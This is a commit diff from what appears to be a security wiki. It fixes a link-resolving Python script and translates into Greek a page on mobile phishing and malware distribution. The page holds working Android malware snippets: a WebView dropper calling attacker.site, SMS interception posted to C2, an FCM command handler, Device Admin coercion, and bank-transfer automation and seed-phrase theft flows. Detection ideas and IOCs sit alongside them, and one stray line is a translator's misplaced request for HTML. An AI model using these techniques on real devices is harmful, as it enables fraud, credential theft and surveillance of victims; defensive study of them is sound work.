Translated ['src/mobile-pentesting/android-app-pentesting/accessibility-

This commit is contained in:
Translator 2025-09-29 11:13:18 +00:00
parent be8c6f8c5b
commit e53ba24de4
4 changed files with 385 additions and 130 deletions

View File

@ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR)
logger.addHandler(handler2)
def findtitle(search ,obj, key, path=(),):
def findtitle(search, obj, key, path=()):
# logger.debug(f"Looking for {search} in {path}")
if isinstance(obj, dict) and key in obj and obj[key] == search:
return obj, path
@ -54,26 +54,42 @@ def ref(matchobj):
if href.endswith("/"):
href = href+"README.md" # Fix if ref points to a folder
if "#" in href:
chapter, _path = findtitle(href.split("#")[0], book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title()
logger.debug(f'Ref has # using title: {title}')
result = findtitle(href.split("#")[0], book, "source_path")
if result is not None:
chapter, _path = result
title = " ".join(href.split("#")[1].split("-")).title()
logger.debug(f'Ref has # using title: {title}')
else:
raise Exception(f"Chapter not found for path: {href.split('#')[0]}")
else:
chapter, _path = findtitle(href, book, "source_path")
logger.debug(f'Recursive title search result: {chapter["name"]}')
title = chapter['name']
result = findtitle(href, book, "source_path")
if result is not None:
chapter, _path = result
logger.debug(f'Recursive title search result: {chapter["name"]}')
title = chapter['name']
else:
raise Exception(f"Chapter not found for path: {href}")
except Exception as e:
dir = path.dirname(current_chapter['source_path'])
rel_path = path.normpath(path.join(dir,href))
try:
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
if "#" in href:
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title()
logger.debug(f'Ref has # using title: {title}')
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
if result is not None:
chapter, _path = result
title = " ".join(href.split("#")[1].split("-")).title()
logger.debug(f'Ref has # using title: {title}')
else:
raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}")
else:
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
title = chapter["name"]
logger.debug(f'Recursive title search result: {chapter["name"]}')
result = findtitle(path.normpath(path.join(dir,href)), book, "source_path")
if result is not None:
chapter, _path = result
title = chapter["name"]
logger.debug(f'Recursive title search result: {chapter["name"]}')
else:
raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}")
except Exception as e:
logger.debug(e)
logger.error(f'Error getting chapter title: {rel_path}')

View File

@ -768,7 +768,7 @@
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@ -837,8 +837,9 @@
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
# 🤖 AI
- [AI Security](AI/README.md)

View File

@ -1,67 +1,67 @@
# Mobile Phishing & Malicious App Distribution (Android & iOS)
# Phishing σε Κινητές Συσκευές & Διανομή Κακόβουλων Εφαρμογών (Android & iOS)
{{#include ../../banners/hacktricks-training.md}}
> [!INFO]
> Αυτή η σελίδα καλύπτει τεχνικές που χρησιμοποιούν οι απειλητικοί παράγοντες για να διανείμουν **κακόβουλα Android APKs** και **προφίλ κινητής διαμόρφωσης iOS** μέσω phishing (SEO, κοινωνική μηχανική, ψεύτικα καταστήματα, εφαρμογές γνωριμιών κ.λπ.).
> Το υλικό έχει προσαρμοστεί από την καμπάνια SarangTrap που αποκαλύφθηκε από την Zimperium zLabs (2025) και άλλες δημόσιες έρευνες.
> Αυτή η σελίδα καλύπτει τεχνικές που χρησιμοποιούν οι threat actors για τη διανομή **κακόβουλων Android APKs** και **iOS mobile-configuration profiles** μέσω phishing (SEO, social engineering, fake stores, dating apps, κ.λπ.).
> Το υλικό προσαρμόζεται από την καμπάνια SarangTrap που αποκάλυψε η Zimperium zLabs (2025) και άλλες δημόσιες έρευνες.
## Attack Flow
## Ροή Επίθεσης
1. **SEO/Phishing Infrastructure**
* Καταχωρήστε δεκάδες τομείς που μοιάζουν (γνωριμίες, cloud share, υπηρεσία αυτοκινήτου…).
Χρησιμοποιήστε τοπικές λέξεις-κλειδιά και emojis στο στοιχείο `<title>` για να κατατάξετε στο Google.
Φιλοξενήστε *και τις δύο* οδηγίες εγκατάστασης Android (`.apk`) και iOS στην ίδια σελίδα προορισμού.
* Καταχωρήστε δεκάδες look-alike domains (dating, cloud share, car service…).
Χρησιμοποιήστε λέξεις-κλειδιά στη τοπική γλώσσα και emojis στο στοιχείο `<title>` για να αυξήσετε την κατάταξη στο Google.
Φιλοξενήστε *και τα δύο* Android (`.apk`) και iOS οδηγίες εγκατάστασης στην ίδια landing page.
2. **First Stage Download**
* Android: άμεσος σύνδεσμος σε ένα *unsigned* ή “third-party store” APK.
* iOS: `itms-services://` ή απλός σύνδεσμος HTTPS σε ένα κακόβουλο **mobileconfig** προφίλ (βλ. παρακάτω).
* Android: απευθείας σύνδεσμος σε ένα *unsigned* ή “third-party store” APK.
* iOS: `itms-services://` ή απλό HTTPS link σε κακόβουλο **mobileconfig** profile (βλέπε παρακάτω).
3. **Post-install Social Engineering**
* Στην πρώτη εκτέλεση, η εφαρμογή ζητά έναν **κωδικό πρόσκλησης / επαλήθευσης** (ψευδαίσθηση αποκλειστικής πρόσβασης).
* Στην πρώτη εκτέλεση η εφαρμογή ζητάει έναν **invitation / verification code** (ψευδαίσθηση αποκλειστικής πρόσβασης).
* Ο κωδικός **POSTed over HTTP** στο Command-and-Control (C2).
* Το C2 απαντά `{"success":true}` ➜ το κακόβουλο λογισμικό συνεχίζει.
* Η δυναμική ανάλυση Sandbox / AV που δεν υποβάλλει έγκυρο κωδικό δεν βλέπει **κακόβουλη συμπεριφορά** (αποφυγή).
* Το C2 απαντά `{"success":true}` ➜ το malware συνεχίζει.
* Sandbox / AV δυναμική ανάλυση που δεν υποβάλλει ποτέ έγκυρο κωδικό δεν βλέπει **κακόβουλη συμπεριφορά** (evasion).
4. **Runtime Permission Abuse** (Android)
* Επικίνδυνες άδειες ζητούνται μόνο **μετά από θετική απάντηση C2**:
* Επικίνδυνα permissions ζητούνται μόνο **μετά από θετική απάντηση από το C2**:
```xml
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<!-- Οι παλαιότερες εκδόσεις ζητούσαν επίσης άδειες SMS -->
<!-- Older builds also asked for SMS permissions -->
```
* Οι πρόσφατες παραλλαγές **αφαιρούν το `<uses-permission>` για SMS από το `AndroidManifest.xml`** αλλά αφήνουν τη διαδρομή κώδικα Java/Kotlin που διαβάζει SMS μέσω reflection ⇒ μειώνει τη στατική βαθμολογία ενώ παραμένει λειτουργική σε συσκευές που παρέχουν την άδεια μέσω κακής χρήσης `AppOps` ή παλαιών στόχων.
* Πρόσφατες παραλλαγές **αφαιρούν το `<uses-permission>` για SMS από το `AndroidManifest.xml`** αλλά αφήνουν τη Java/Kotlin ροή που διαβάζει SMS μέσω reflection ⇒ μειώνει το static score ενώ παραμένει λειτουργικό σε συσκευές που χορηγούν το permission μέσω κατάχρησης `AppOps` ή παλαιότερων στόχων.
5. **Facade UI & Background Collection**
* Η εφαρμογή εμφανίζει αβλαβείς προβολές (SMS viewer, gallery picker) που έχουν υλοποιηθεί τοπικά.
* Εν τω μεταξύ, εξάγει:
* Η εφαρμογή εμφανίζει αβλαβείς προβολές (SMS viewer, gallery picker) υλοποιημένες τοπικά.
* Εν τω μεταξύ εξάγει:
- IMEI / IMSI, αριθμό τηλεφώνου
- Πλήρη εξαγωγή `ContactsContract` (JSON array)
- Πλήρες dump `ContactsContract` (JSON array)
- JPEG/PNG από `/sdcard/DCIM` συμπιεσμένα με [Luban](https://github.com/Curzibn/Luban) για μείωση μεγέθους
- Προαιρετικό περιεχόμενο SMS (`content://sms`)
Τα payloads είναι **batch-zipped** και αποστέλλονται μέσω `HTTP POST /upload.php`.
Τα payloads είναι **batch-zipped** και στέλνονται μέσω `HTTP POST /upload.php`.
6. **iOS Delivery Technique**
* Ένα μόνο **mobile-configuration profile** μπορεί να ζητήσει `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` κ.λπ. για να εγγραφεί η συσκευή σε “MDM”-όμοια εποπτεία.
* Οδηγίες κοινωνικής μηχανικής:
1. Ανοίξτε τις Ρυθμίσεις ➜ *Προφίλ κατεβασμένο*.
2. Πατήστε *Εγκατάσταση* τρεις φορές (σκορπιές στην σελίδα phishing).
3. Εμπιστευτείτε το unsigned προφίλ ➜ ο επιτιθέμενος αποκτά *Contacts* & *Photo* δικαιώματα χωρίς έλεγχο από το App Store.
* Ένα μόνο **mobile-configuration profile** μπορεί να ζητήσει `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` κ.λπ. για να εγγράψει τη συσκευή σε επιτήρηση τύπου “MDM”.
* Οδηγίες social-engineering:
1. Open Settings ➜ *Profile downloaded*.
2. Tap *Install* three times (screenshots on the phishing page).
3. Trust the unsigned profile ➜ ο επιτιθέμενος αποκτά *Contacts* & *Photo* entitlement χωρίς έλεγχο App Store.
7. **Network Layer**
* Απλό HTTP, συχνά στη θύρα 80 με HOST header όπως `api.<phishingdomain>.com`.
* Απλό HTTP, συχνά στην port 80 με HOST header όπως `api.<phishingdomain>.com`.
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (χωρίς TLS → εύκολο να εντοπιστεί).
## Defensive Testing / Red-Team Tips
* **Dynamic Analysis Bypass** Κατά την αξιολόγηση κακόβουλου λογισμικού, αυτοματοποιήστε τη φάση κωδικού πρόσκλησης με Frida/Objection για να φτάσετε στον κακόβουλο κλάδο.
* **Manifest vs. Runtime Diff** Συγκρίνετε `aapt dump permissions` με runtime `PackageManager#getRequestedPermissions()`; η έλλειψη επικίνδυνων αδειών είναι κόκκινη σημαία.
* **Network Canary** Ρυθμίστε `iptables -p tcp --dport 80 -j NFQUEUE` για να ανιχνεύσετε μη σταθερές εκρήξεις POST μετά την είσοδο κωδικού.
* **mobileconfig Inspection** Χρησιμοποιήστε `security cms -D -i profile.mobileconfig` σε macOS για να καταγράψετε το `PayloadContent` και να εντοπίσετε υπερβολικά δικαιώματα.
* **Dynamic Analysis Bypass** Κατά την αξιολόγηση malware, αυτοματοποιήστε το στάδιο του invitation code με Frida/Objection για να φτάσετε στον κακόβουλο κλάδο.
* **Manifest vs. Runtime Diff** Συγκρίνετε `aapt dump permissions` με runtime `PackageManager#getRequestedPermissions()`; η απουσία επικίνδυνων perms είναι κόκκινη σημαία.
* **Network Canary** Διαμορφώστε `iptables -p tcp --dport 80 -j NFQUEUE` για να εντοπίσετε μη σταθερά bursts POST μετά την εισαγωγή του κωδικού.
* **mobileconfig Inspection** Χρησιμοποιήστε `security cms -D -i profile.mobileconfig` σε macOS για να εμφανίσετε το `PayloadContent` και να εντοπίσετε υπερβολικά entitlements.
## Blue-Team Detection Ideas
* **Certificate Transparency / DNS Analytics** για να πιάσετε ξαφνικές εκρήξεις τομέων πλούσιων σε λέξεις-κλειδιά.
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` από πελάτες Dalvik εκτός Google Play.
* **Invite-code Telemetry** POST 68 ψηφιακών κωδικών λίγο μετά την εγκατάσταση APK μπορεί να υποδηλώνει προετοιμασία.
* **MobileConfig Signing** Αποκλείστε unsigned προφίλ διαμόρφωσης μέσω πολιτικής MDM.
* **Certificate Transparency / DNS Analytics** για να εντοπίζετε ξαφνικά κύματα domain πλούσια σε λέξεις-κλειδιά.
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` από Dalvik clients εκτός Google Play.
* **Invite-code Telemetry** POSTs 68 ψηφίων αριθμητικών κωδικών λίγο μετά την εγκατάσταση του APK μπορεί να υποδηλώνουν staging.
* **MobileConfig Signing** Απορρίψτε unsigned configuration profiles μέσω πολιτικής MDM.
## Useful Frida Snippet: Auto-Bypass Invitation Code
## Χρήσιμο Frida Snippet: Αυτόματη Παράκαμψη Κωδικού Πρόσκλησης
```python
# frida -U -f com.badapp.android -l bypass.js --no-pause
# Hook HttpURLConnection write to always return success
@ -80,7 +80,7 @@ return conn;
};
});
```
## Δείκτες (Γενικοί)
## Δείκτες (Γενικά)
```
/req/checkCode.php # invite code validation
/upload.php # batched ZIP exfiltration
@ -90,28 +90,28 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex
## Android WebView Payment Phishing (UPI) Dropper + FCM C2 Pattern
Αυτό το μοτίβο έχει παρατηρηθεί σε καμπάνιες που εκμεταλλεύονται θέματα κυβερνητικών επιδομάτων για να κλέψουν διαπιστευτήρια UPI και OTP από την Ινδία. Οι χειριστές συνδυάζουν αξιόπιστες πλατφόρμες για παράδοση και ανθεκτικότητα.
Αυτό το pattern έχει παρατηρηθεί σε καμπάνιες που εκμεταλλεύονται θέματα κυβερνητικών επιδομάτων για να κλέψουν διαπιστευτήρια UPI και OTPs. Οι επιτιθέμενοι συνδέουν αξιόπιστες πλατφόρμες για παράδοση και ανθεκτικότητα.
### Delivery chain across trusted platforms
- YouTube video lure → description contains a short link
- Shortlink → GitHub Pages phishing site imitating the legit portal
- Same GitHub repo hosts an APK with a fake “Google Play” badge linking directly to the file
- Dynamic phishing pages live on Replit; remote command channel uses Firebase Cloud Messaging (FCM)
- YouTube video lure → η περιγραφή περιέχει έναν σύντομο σύνδεσμο
- Σύντομος σύνδεσμος → GitHub Pages phishing site που μιμείται το νόμιμο portal
- Το ίδιο GitHub repo φιλοξενεί ένα APK με ψεύτικο “Google Play” badge που οδηγεί απευθείας στο αρχείο
- Δυναμικές phishing pages φιλοξενούνται στο Replit· το κανάλι απομακρυσμένων εντολών χρησιμοποιεί Firebase Cloud Messaging (FCM)
### Dropper with embedded payload and offline install
- First APK is an installer (dropper) that ships the real malware at `assets/app.apk` and prompts the user to disable WiFi/mobile data to blunt cloud detection.
- The embedded payload installs under an innocuous label (e.g., “Secure Update”). After install, both the installer and the payload are present as separate apps.
- Το πρώτο APK είναι ένας installer (dropper) που περιλαμβάνει το πραγματικό malware στο `assets/app.apk` και προτρέπει τον χρήστη να απενεργοποιήσει το WiFi/mobile data για να μειώσει την ανίχνευση στο cloud.
- Το embedded payload εγκαθίσταται με έναν αθώο τίτλο (π.χ., “Secure Update”). Μετά την εγκατάσταση, τόσο ο installer όσο και το payload υπάρχουν ως ξεχωριστές εφαρμογές.
Static triage tip (grep for embedded payloads):
Static triage tip (grep για embedded payloads):
```bash
unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head
```
### Ανακάλυψη δυναμικών σημείων μέσω συντομευμένων συνδέσμων
- Το κακόβουλο λογισμικό ανακτά μια λίστα ζωντανών σημείων σε απλό κείμενο, διαχωρισμένη με κόμματα από έναν συντομευμένο σύνδεσμο; απλές μετατροπές συμβολοσειρών παράγουν τη τελική διαδρομή της σελίδας phishing.
### Δυναμική ανακάλυψη endpoints μέσω shortlink
- Malware ανακτά μια plain-text, comma-separated λίστα ενεργών endpoints από ένα shortlink; απλές μετασχηματίσεις συμβολοσειράς παράγουν το τελικό phishing page path.
Παράδειγμα (καθαρισμένο):
Παράδειγμα (sanitised):
```
GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
@ -127,16 +127,16 @@ String upiPage = parts[0].replace("gate.html", "gate.htm");
String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");
```
### WebView-based UPI credential harvesting
- Το βήμα “Κάντε πληρωμή ₹1 / UPILite” φορτώνει μια HTML φόρμα του επιτιθέμενου από το δυναμικό endpoint μέσα σε ένα WebView και καταγράφει ευαίσθητα πεδία (τηλέφωνο, τράπεζα, UPI PIN) τα οποία `POST`άρονται στο `addup.php`.
### Συλλογή διαπιστευτηρίων UPI μέσω WebView
- Το βήμα “Make payment of ₹1 / UPILite” φορτώνει μια κακόβουλη HTML φόρμα από το δυναμικό endpoint μέσα σε ένα WebView και καταγράφει ευαίσθητα πεδία (τηλέφωνο, τράπεζα, UPI PIN) τα οποία γίνονται `POST` σε `addup.php`.
Minimal loader:
Ελάχιστος loader:
```java
WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
```
### Αυτο-διάδοση και παρεμβολή SMS/OTP
### Self-propagation and SMS/OTP interception
- Ζητούνται επιθετικές άδειες κατά την πρώτη εκτέλεση:
```xml
<uses-permission android:name="android.permission.READ_CONTACTS"/>
@ -144,10 +144,10 @@ wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
```
- Οι επαφές συνδέονται για μαζική αποστολή smishing SMS από τη συσκευή του θύματος.
- Τα εισερχόμενα SMS παγιδεύονται από έναν δέκτη εκπομπής και ανεβαίνουν με μεταδεδομένα (αποστολέας, περιεχόμενο, θύρα SIM, τυχαίο ID ανά συσκευή) στο `/addsm.php`.
- Οι επαφές χρησιμοποιούνται σε βρόχο για μαζική αποστολή smishing SMS από τη συσκευή του θύματος.
- Οι εισερχόμενες SMS υποκλέπτονται από broadcast receiver και ανεβαίνουν με μεταδεδομένα (sender, body, SIM slot, per-device random ID) στο `/addsm.php`.
Σχέδιο δέκτη:
Σκίτσο του receiver:
```java
public void onReceive(Context c, Intent i){
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
@ -161,10 +161,10 @@ postForm(urlAddSms, new FormBody.Builder()
}
}
```
### Firebase Cloud Messaging (FCM) ως ανθεκτικό C2
- Το payload εγγράφεται στο FCM; τα μηνύματα push περιέχουν ένα πεδίο `_type` που χρησιμοποιείται ως διακόπτης για την ενεργοποίηση ενεργειών (π.χ., ενημέρωση προτύπων κειμένου phishing, εναλλαγή συμπεριφορών).
### Firebase Cloud Messaging (FCM) as resilient C2
- Το payload εγγράφεται στο FCM· τα push μηνύματα φέρουν ένα πεδίο `_type` που χρησιμοποιείται ως διακόπτης για να ενεργοποιήσει ενέργειες (π.χ., ενημέρωση προτύπων κειμένου phishing, εναλλαγή συμπεριφορών).
Παράδειγμα payload FCM:
Παράδειγμα FCM payload:
```json
{
"to": "<device_fcm_token>",
@ -174,7 +174,7 @@ postForm(urlAddSms, new FormBody.Builder()
}
}
```
Σχέδιο χειριστή:
Handler σκίτσο:
```java
@Override
public void onMessageReceived(RemoteMessage msg){
@ -186,27 +186,177 @@ case "smish": sendSmishToContacts(); break;
}
}
```
### Hunting patterns and IOCs
- Το APK περιέχει δευτερεύον φορτίο στο `assets/app.apk`
- Το WebView φορτώνει πληρωμή από το `gate.htm` και εξάγει σε `/addup.php`
- Εξαγωγή SMS σε `/addsm.php`
- Fetch ρυθμίσεων μέσω συντομεύσεων (π.χ., `rebrand.ly/*`) που επιστρέφουν CSV endpoints
- Εφαρμογές που χαρακτηρίζονται ως γενικές “Ενημέρωση/Ασφαλής Ενημέρωση
- FCM `data` μηνύματα με διακριτικό `_type` σε μη αξιόπιστες εφαρμογές
### Πρότυπα ανίχνευσης και IOCs
- Το APK περιέχει δευτερεύον payload στο `assets/app.apk`
- Η WebView φορτώνει στοιχεία πληρωμής από το `gate.htm` και exfiltrates στο `/addup.php`
- SMS exfiltration στο `/addsm.php`
- Shortlink-driven config fetch (π.χ. `rebrand.ly/*`) που επιστρέφει CSV endpoints
- Εφαρμογές με ετικέτα γενικά “Update/Secure Update
- FCM `data` μηνύματα με διακριτή `_type` σε μη αξιόπιστες εφαρμογές
### Detection & defence ideas
- Σημειώστε εφαρμογές που δίνουν οδηγίες στους χρήστες να απενεργοποιήσουν το δίκτυο κατά την εγκατάσταση και στη συνέχεια να φορτώσουν μια δεύτερη APK από το `assets/`.
- Ειδοποιήστε για το tuple δικαιωμάτων: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + ροές πληρωμών βασισμένες σε WebView.
- Παρακολούθηση εξόδου για `POST /addup.php|/addsm.php` σε μη εταιρικούς διακομιστές; αποκλείστε γνωστή υποδομή.
- Κανόνες Mobile EDR: μη αξιόπιστη εφαρμογή που εγγράφεται για FCM και διακλαδίζεται σε πεδίο `_type`.
### Ιδέες εντοπισμού & άμυνας
- Σηματοδοτήστε εφαρμογές που ζητούν από χρήστες να απενεργοποιήσουν το δίκτυο κατά την εγκατάσταση και στη συνέχεια side-load δεύτερο APK από το `assets/`.
- Ειδοποίηση για το tuple δικαιωμάτων: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-based payment flows.
- Egress monitoring για `POST /addup.php|/addsm.php` σε μη-corporate hosts· μπλοκάρετε γνωστή infrastructure.
- Κανόνες Mobile EDR: μη αξιόπιστη εφαρμογή που εγγράφεται για FCM και διακλαδίζεται με βάση το πεδίο `_type`.
---
## References
## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration RatOn case study
Η καμπάνια RatOn banker/RAT (ThreatFabric) αποτελεί ένα συγκεκριμένο παράδειγμα του πώς οι σύγχρονες mobile phishing επιχειρήσεις συνδυάζουν WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), κατάληψη crypto wallets, και ακόμη NFC-relay orchestration. Αυτή η ενότητα αφαιρεί μια περίληψη των επαναχρησιμοποιήσιμων τεχνικών.
### Στάδιο-1: WebView → native install bridge (dropper)
Οι επιτιθέμενοι παρουσιάζουν μια WebView που δείχνει σε σελίδα του attacker και εισάγουν ένα JavaScript interface που εκθέτει έναν native installer. Ένα πάτημα σε ένα HTML button καλεί native κώδικα που εγκαθιστά ένα δεύτερο στάδιο APK bundled στα assets του dropper και στη συνέχεια το εκκινεί απευθείας.
Ελάχιστο μοτίβο:
```java
public class DropperActivity extends Activity {
@Override protected void onCreate(Bundle b){
super.onCreate(b);
WebView wv = new WebView(this);
wv.getSettings().setJavaScriptEnabled(true);
wv.addJavascriptInterface(new Object(){
@android.webkit.JavascriptInterface
public void installApk(){
try {
PackageInstaller pi = getPackageManager().getPackageInstaller();
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
int id = pi.createSession(p);
try (PackageInstaller.Session s = pi.openSession(id);
InputStream in = getAssets().open("payload.apk");
OutputStream out = s.openWrite("base.apk", 0, -1)){
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
}
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
pi.commit(id, status.getIntentSender());
} catch (Exception e) { /* log */ }
}
}, "bridge");
setContentView(wv);
wv.loadUrl("https://attacker.site/install.html");
}
}
```
Δεν παρείχατε το HTML. Παρακαλώ επικολλήστε το περιεχόμενο της σελίδας (HTML/markdown) που θέλετε να μεταφραστεί στα Ελληνικά και θα το μεταφράσω διατηρώντας ανέπαφα τα tags, συνδέσμους, paths και markdown όπως ζητήθηκε.
```html
<button onclick="bridge.installApk()">Install</button>
```
Μετά την εγκατάσταση, το dropper εκκινεί το payload μέσω explicit package/activity:
```java
Intent i = new Intent();
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
startActivity(i);
```
Ιδέα ανίχνευσης: μη αξιόπιστες εφαρμογές που καλούν `addJavascriptInterface()` και εκθέτουν μεθόδους τύπου installer στο WebView; APK που μεταφέρει ενσωματωμένο δευτερεύον payload κάτω από το `assets/` και καλεί την Package Installer Session API.
### Διαδρομή συναίνεσης: Accessibility + Device Admin + follow-on runtime prompts
Το Stage-2 ανοίγει ένα WebView που φιλοξενεί μια σελίδα “Access”. Το κουμπί της καλεί μια exported μέθοδο που πλοηγεί το θύμα στις ρυθμίσεις Accessibility και ζητά την ενεργοποίηση της rogue υπηρεσίας. Μόλις δοθεί, το malware χρησιμοποιεί το Accessibility για να πατήσει αυτόματα μέσα από τους επόμενους διαλόγους runtime permission (contacts, overlay, manage system settings, κ.λπ.) και να ζητήσει Device Admin.
- Το Accessibility προγραμματιστικά βοηθά στην αποδοχή μετέπειτα προτροπών εντοπίζοντας κουμπιά όπως “Allow”/“OK” στο node-tree και αποστέλλοντας κλικ.
- Έλεγχος/αίτηση για overlay permission:
```java
if (!Settings.canDrawOverlays(ctx)) {
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
Uri.parse("package:" + ctx.getPackageName()));
ctx.startActivity(i);
}
```
Δείτε επίσης:
{{#ref}}
../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
{{#endref}}
### Overlay phishing/ransom via WebView
Οι χειριστές μπορούν να εκδώσουν εντολές για:
- εμφανίσουν ένα overlay πλήρους οθόνης από ένα URL, ή
- περάσουν inline HTML που φορτώνεται σε overlay WebView.
Πιθανοί τρόποι χρήσης: coercion (εισαγωγή PIN), άνοιγμα wallet για την καταγραφή PINs, μηνύματα εκβίασης. Κρατήστε μια εντολή για να εξασφαλίσετε ότι η άδεια overlay είναι χορηγημένη αν λείπει.
### Remote control model text pseudo-screen + screen-cast
- Low-bandwidth: περιοδικά εξάγετε το Accessibility node tree, σειριοποιήστε τα ορατά κείμενα/ρόλους/όρια και στείλτε στο C2 ως pseudo-screen (εντολές όπως `txt_screen` μία φορά και `screen_live` συνεχώς).
- High-fidelity: ζητήστε MediaProjection και ξεκινήστε screen-casting/recording κατ’ απαίτηση (εντολές όπως `display` / `record`).
### ATS playbook (αυτοματισμός εφαρμογής τράπεζας)
Δεδομένου ενός JSON task, ανοίξτε την εφαρμογή τράπεζας, χειριστείτε το UI μέσω Accessibility με έναν συνδυασμό ερωτημάτων κειμένου και taps σε συντεταγμένες, και εισάγετε το payment PIN του θύματος όταν ζητηθεί.
Παράδειγμα εργασίας:
```json
{
"cmd": "transfer",
"receiver_address": "ACME s.r.o.",
"account": "123456789/0100",
"amount": "24500.00",
"name": "ACME"
}
```
Example texts seen in one target flow (CZ → EN):
- "Nová platba" → "Νέα πληρωμή"
- "Zadat platbu" → "Εισαγωγή πληρωμής"
- "Nový příjemce" → "Νέος παραλήπτης"
- "Domácí číslo účtu" → "Αριθμός εγχώριου λογαριασμού"
- "Další" → "Επόμενο"
- "Odeslat" → "Αποστολή"
- "Ano, pokračovat" → "Ναι, συνέχισε"
- "Zaplatit" → "Πληρωμή"
- "Hotovo" → "Ολοκληρώθηκε"
Οι χειριστές μπορούν επίσης να ελέγξουν/αυξήσουν τα όρια μεταφοράς μέσω εντολών όπως `check_limit` και `limit` που πλοηγούνται στην limits UI με παρόμοιο τρόπο.
### Crypto wallet seed extraction
Στόχοι όπως οι MetaMask, Trust Wallet, Blockchain.com, Phantom. Ροή: ξεκλείδωμα (κλεμμένο PIN ή παρεχόμενος κωδικός πρόσβασης), μεταβείτε στο Security/Recovery, αποκάλυψη/εμφάνιση seed phrase, keylog/exfiltrate το. Υλοποιήστε locale-aware selectors (EN/RU/CZ/SK) για να σταθεροποιήσετε την πλοήγηση ανάμεσα σε γλώσσες.
### Device Admin coercion
Τα Device Admin APIs χρησιμοποιούνται για να αυξήσουν τις ευκαιρίες καταγραφής PIN και να δυσκολέψουν το θύμα:
- Άμεσο κλείδωμα:
```java
dpm.lockNow();
```
- Λήξη του τρέχοντος διαπιστευτηρίου για να επιβληθεί αλλαγή (Accessibility καταγράφει νέο PIN/συνθηματικό):
```java
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
```
- Αναγκάστε μη-biometric ξεκλείδωμα απενεργοποιώντας τα χαρακτηριστικά biometric του keyguard:
```java
dpm.setKeyguardDisabledFeatures(admin,
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
```
Σημείωση: Πολλοί έλεγχοι του DevicePolicyManager απαιτούν Device Owner/Profile Owner σε πρόσφατες εκδόσεις Android· ορισμένα builds από OEM μπορεί να είναι επιεική. Πάντα επικυρώνετε στο στοχευόμενο OS/OEM.
### Ορχήστρωση NFC relay (NFSkate)
Stage-3 μπορεί να εγκαταστήσει και να εκκινήσει ένα εξωτερικό NFC-relay module (π.χ. NFSkate) και ακόμα να του παραδώσει ένα HTML template για να καθοδηγήσει το θύμα κατά τη διάρκεια του relay. Αυτό επιτρέπει contactless card-present cash-out παράλληλα με online ATS.
